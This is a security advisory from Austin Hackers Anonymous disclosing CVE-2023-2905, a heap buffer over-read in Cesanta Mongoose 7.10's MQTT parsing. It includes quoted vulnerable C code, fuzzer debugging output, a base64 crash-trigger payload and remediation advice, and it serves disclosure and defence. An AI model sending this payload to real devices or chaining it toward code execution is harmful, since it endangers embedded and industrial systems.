AHA Logo

Austin Hackers Anonymous

About Us Chat CVE Mailing List Meetings Our Spawn Rules


CVE-2023-2905: Cesanta Mongoose MQTT Message Parsing Heap Overflow

AHA! has discovered an issue with Mongoose from Cesanta, and is publishing this disclosure in accordance with AHA!’s standard disclosure policy today, on Tuesday, August 8, 2023. CVE-2023-2905 has been assigned to this issue.

Any questions about this disclosure should be directed to [email protected].

Executive Summary

Due to a failure in validating the length of a provided MQTT_CMD_PUBLISH parsed message with a variable length header, the dual-licensed Cesanta Mongoose embeddable web server version 7.10 is susceptible to a heap-based buffer overflow vulnerability in the default configuration. CVE-2023-2905 appears to be an instance of CWE-122. Version 7.9 and prior does not appear to be vulnerable.

Technical Details

Below is the code used to parse mqtt messages with lines 365-370 being used to ensure that the variable length portion of the buffer is not larger than 4 bytes and breaking out of the loop if lc & 0x80 evaluates to false (based on the MSB).

src/mqtt.c

352 int mg_mqtt_parse(const uint8_t *buf, size_t len, uint8_t version,
353                   struct mg_mqtt_message *m) {
354   uint8_t lc = 0, *p, *end;
355   uint32_t n = 0, len_len = 0;
356
357   memset(m, 0, sizeof(*m));
358   m->dgram.ptr = (char *) buf;
359   if (len < 2) return MQTT_INCOMPLETE;
360   m->cmd = (uint8_t) (buf[0] >> 4);
361   m->qos = (buf[0] >> 1) & 3;
362
363   n = len_len = 0;
364   p = (uint8_t *) buf + 1;
365   while ((size_t) (p - buf) < len) {
366     lc = *((uint8_t *) p++);
367     n += (uint32_t) ((lc & 0x7f) << 7 * len_len);
368     len_len++;
369     if (!(lc & 0x80)) break;
370     if (len_len >= 4) return MQTT_MALFORMED;
371   }

Then lines 393-406 show the code path to the vulnerable function decode_variable_length, containing the remaining to be read mqtt buffer after additions to the p pointer on lines 394, 397, 402.

src/mqtt.c

393     case MQTT_CMD_PUBLISH: {
394       if (p + 2 > end) return MQTT_MALFORMED;
395       m->topic.len = (uint16_t) ((((uint16_t) p[0]) << 8) | p[1]);
396       m->topic.ptr = (char *) p + 2;
397       p += 2 + m->topic.len;
398       if (p > end) return MQTT_MALFORMED;
399       if (m->qos > 0) {
400         if (p + 2 > end) return MQTT_MALFORMED;
401         m->id = (uint16_t) ((((uint16_t) p[0]) << 8) | p[1]);
402         p += 2;
403       }
404       if (p > end) return MQTT_MALFORMED;
405       if (version == 5 && p + 2 < end) {
406         m->props_size = decode_variable_length((char *) p, &len_len);

The below shows the buffer from the crash file showing a 10 byte mqtt message with the 8th byte having the MSB set.

Thread 1 "fuzzer" hit Breakpoint 7, LLVMFuzzerTestOneInput (data=0xffffb4500790 "5\b", size=10) at test/fuzz.c:38

38        mg_mqtt_parse(data, size, 5, &mm);
(gdb) x/12bx data
0xffffb4500790: 0x35    0x08    0x00    0x01    0x00    0x00    0x5a    0x8a
0xffffb4500798: 0xff    0xff    0x00    0x00

This results in a variable length header being detected but only containing 3 bytes, as can be seen below

Thread 1 "fuzzer" hit Breakpoint 8, mg_mqtt_parse (buf=<optimized out>, len=<optimized out>, version=<optimized out>, m=<optimized out>) at src/mqtt.c:415
415             m->props_size = decode_variable_length((char *) p, &len_len);
(gdb) x/10x p
0xffffb0b00797: 0x8a    0xff    0xff    0x00    0x00    0x00    0x00    0x00
0xffffb0b0079f: 0x00    0x02

And finally, the decode_variable_length function code, which contains no bounds checks on the size of the buffer being read.

src/mqtt.c

 92 static uint32_t decode_variable_length(const char *buf,
 93                                        uint32_t *bytes_consumed) {
 94   uint32_t value = 0, multiplier = 1, offset;
 95
 96   for (offset = 0; offset < 4; offset++) {
 97     uint8_t encoded_byte = ((uint8_t *) buf)[offset];
 98     value += (encoded_byte & 0x7F) * multiplier;
 99     multiplier *= 128;
100
101     if (!(encoded_byte & 0x80)) break;
102   }
103
104   if (bytes_consumed != NULL) *bytes_consumed = offset + 1;
105
106   return value;
107 }

This allows for a read primitive of 1-3 bytes from a heap overflow.

Payload

A base64 encoded blob of the payload needed to trigger the vulnerability can be found below.

NQgAAQAAWor//w==

Attacker Value

Cesanta Mongoose is an embedded webserver library commonly used to add web server functionality to devices with vendor provided integrations. According to the project’s README, “Mongoose is used by hundreds of businesses, from Fortune500 giants like Siemens, Schneider Electric, Broadcom, Bosch, Google, Samsung, Qualcomm, Caterpillar to the small businesses.” Because it is an embedded software, often implemented in the context of IOT/ICS (Internet of Things / Industrial Control Systems), its presence may be difficult for affected end-users to audit for.

If an attacker has the capability of sending an MQTT message to the webserver (which would require direct network access to the network hosting the device), that attacker could use the above primitive in a chain to obtain remote code execution on an embedded device. The level of access would depend on the parent process that runs Mongoose. In most IOT/ICS contexts, this would typically result in the total compromise of the webserver, and, if it is not running in a privilege-restricted context, total compromise of the hosting device.

Remediation

PR2274 fixes the issue on the main branch of the open source repository; the vendor has further advised that Mongoose Version 7.11 available for downstream users and implementors addresses the issue.

Credit

This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch

Timeline



Fork me on GitHub